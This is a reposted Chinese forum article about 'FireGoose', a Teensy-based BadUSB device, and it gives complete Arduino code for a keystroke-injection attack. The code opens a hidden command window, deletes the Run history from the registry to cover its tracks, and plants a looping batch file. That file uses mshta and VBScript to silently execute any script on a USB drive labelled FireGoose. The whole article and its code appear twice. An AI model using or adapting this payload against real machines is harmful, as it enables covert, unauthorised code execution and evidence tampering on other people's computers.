-
-
[转帖][推荐]
-
发表于: 2015-5-26 09:43 3411
-
烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板,外观看起来很像USB Rubber Ducky(大黄鸭),但并非Hak5所销售版本。
所以没有使用USB Rubber Ducky的固件功能,不可以直接使用USB Rubber Ducky的脚本,可以直接使用Arduino IDE来编写自定义代码、也可以使用S.E.T、Kautilya套件生成代码使用。
自带SD卡槽,可外接SD作为扩展,支持BadUSB代码。
FreeBuf报道:《烧鹅:中国人自己的HID Hacking Device》,《中国烧鹅系列:利用烧鹅自动获得反弹SHELL》
上期介绍了利用烧鹅自动获得反弹SHELL,总是觉得不太完美,脑洞之后,我们还可以这么玩:利用烧鹅自动执行SD卡上的自定义程序,可以在很短的时间(5秒左右)完成Attack。
原理
烧鹅模拟USB键盘,自动输入Win+R ,为了尽可能的隐藏,开启一个很小的CMD窗口,然后在%tmp%目录写个批处理,后台隐藏执行,每隔5秒监控U盘或者SD卡的指定程序是否存在。若存在就隐藏执行,若不存在就继续循环监控,直到找到指定的可执行文件。
这样就达到了自动执行SD卡上的自定义程序,效果就是,插入U盘之后,指定的程序就自动执行了!
IMG_0162.JPG
以下是demo 代码,各位可以自行测试,自由修改!
void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(100);
Keyboard.print("cmd /T:01 /K mode CON: COLS=16 LINES=1"); //开启很小的cmd窗口
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(200);
Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清理运行记录
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.println("del /f /q %tmp%\\w.bat 2>nul"); //先删除可能存在的批处理
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.println("copy con %tmp%\\w.bat"); //写入新的批处理文件
Keyboard.send_now();
Keyboard.println("@echo off");
Keyboard.println(":lp");
Keyboard.println("ping 127.1 -n 5 >nul");
Keyboard.println("for /F %%A in ('wmic volume get driveletter^,label ^| find \"FireGoose\"') do (set Fire=%%A)"); //利用wim查询指定U盘是否插入电脑
Keyboard.println("IF EXIST \"%Fire%\\files\\Fire_shell.bat\" (copy /y \"%Fire%\\files\\Fire_shell.bat\" %tmp%\\");//若存在指定文件,就复制到%tmp%
Keyboard.println("mshta vbscript:createobject^(\"wscript.shell\"^).run^(\"%tmp%\\Fire_shell.bat\",0^)^(window.close^)) ELSE (goto :lp )");//利用VBS隐藏执行bat
Keyboard.set_modifier(MODIFIERKEY_CTRL); //保存以上写入的批处理
Keyboard.set_key1(KEY_Z);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(200);
Keyboard.println("mshta vbscript:createobject(\"wscript.shell\").run(\"%tmp%\\w.bat\",0)(window.close) && exit"); //VBS隐藏执行w.bat并退出
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_modifier(0); //释放所有按键
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}
用法
先把自己的SD卡或者U盘的名称改成“FireGoose”,建一个files目录,在该目录下创建一个Fire_shell.bat的文批处理,里面写上自己想要功能。
将设置好的SD卡插入烧鹅的卡槽,然后将以上Arduino代码编译后写进烧鹅。当然也可以不使用SD卡,插入设置好的U盘,也会自动运行指定文件(Fire_shell.bat),效果一样
文章转载于关注黑客与极客
所以没有使用USB Rubber Ducky的固件功能,不可以直接使用USB Rubber Ducky的脚本,可以直接使用Arduino IDE来编写自定义代码、也可以使用S.E.T、Kautilya套件生成代码使用。
自带SD卡槽,可外接SD作为扩展,支持BadUSB代码。
FreeBuf报道:《烧鹅:中国人自己的HID Hacking Device》,《中国烧鹅系列:利用烧鹅自动获得反弹SHELL》
上期介绍了利用烧鹅自动获得反弹SHELL,总是觉得不太完美,脑洞之后,我们还可以这么玩:利用烧鹅自动执行SD卡上的自定义程序,可以在很短的时间(5秒左右)完成Attack。
原理
烧鹅模拟USB键盘,自动输入Win+R ,为了尽可能的隐藏,开启一个很小的CMD窗口,然后在%tmp%目录写个批处理,后台隐藏执行,每隔5秒监控U盘或者SD卡的指定程序是否存在。若存在就隐藏执行,若不存在就继续循环监控,直到找到指定的可执行文件。
这样就达到了自动执行SD卡上的自定义程序,效果就是,插入U盘之后,指定的程序就自动执行了!
IMG_0162.JPG
以下是demo 代码,各位可以自行测试,自由修改!
void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(100);
Keyboard.print("cmd /T:01 /K mode CON: COLS=16 LINES=1"); //开启很小的cmd窗口
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(200);
Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清理运行记录
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.println("del /f /q %tmp%\\w.bat 2>nul"); //先删除可能存在的批处理
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.println("copy con %tmp%\\w.bat"); //写入新的批处理文件
Keyboard.send_now();
Keyboard.println("@echo off");
Keyboard.println(":lp");
Keyboard.println("ping 127.1 -n 5 >nul");
Keyboard.println("for /F %%A in ('wmic volume get driveletter^,label ^| find \"FireGoose\"') do (set Fire=%%A)"); //利用wim查询指定U盘是否插入电脑
Keyboard.println("IF EXIST \"%Fire%\\files\\Fire_shell.bat\" (copy /y \"%Fire%\\files\\Fire_shell.bat\" %tmp%\\");//若存在指定文件,就复制到%tmp%
Keyboard.println("mshta vbscript:createobject^(\"wscript.shell\"^).run^(\"%tmp%\\Fire_shell.bat\",0^)^(window.close^)) ELSE (goto :lp )");//利用VBS隐藏执行bat
Keyboard.set_modifier(MODIFIERKEY_CTRL); //保存以上写入的批处理
Keyboard.set_key1(KEY_Z);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(200);
Keyboard.println("mshta vbscript:createobject(\"wscript.shell\").run(\"%tmp%\\w.bat\",0)(window.close) && exit"); //VBS隐藏执行w.bat并退出
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_modifier(0); //释放所有按键
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}
用法
先把自己的SD卡或者U盘的名称改成“FireGoose”,建一个files目录,在该目录下创建一个Fire_shell.bat的文批处理,里面写上自己想要功能。
将设置好的SD卡插入烧鹅的卡槽,然后将以上Arduino代码编译后写进烧鹅。当然也可以不使用SD卡,插入设置好的U盘,也会自动运行指定文件(Fire_shell.bat),效果一样
文章转载于关注黑客与极客
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
看原图
赞赏
雪币:
留言: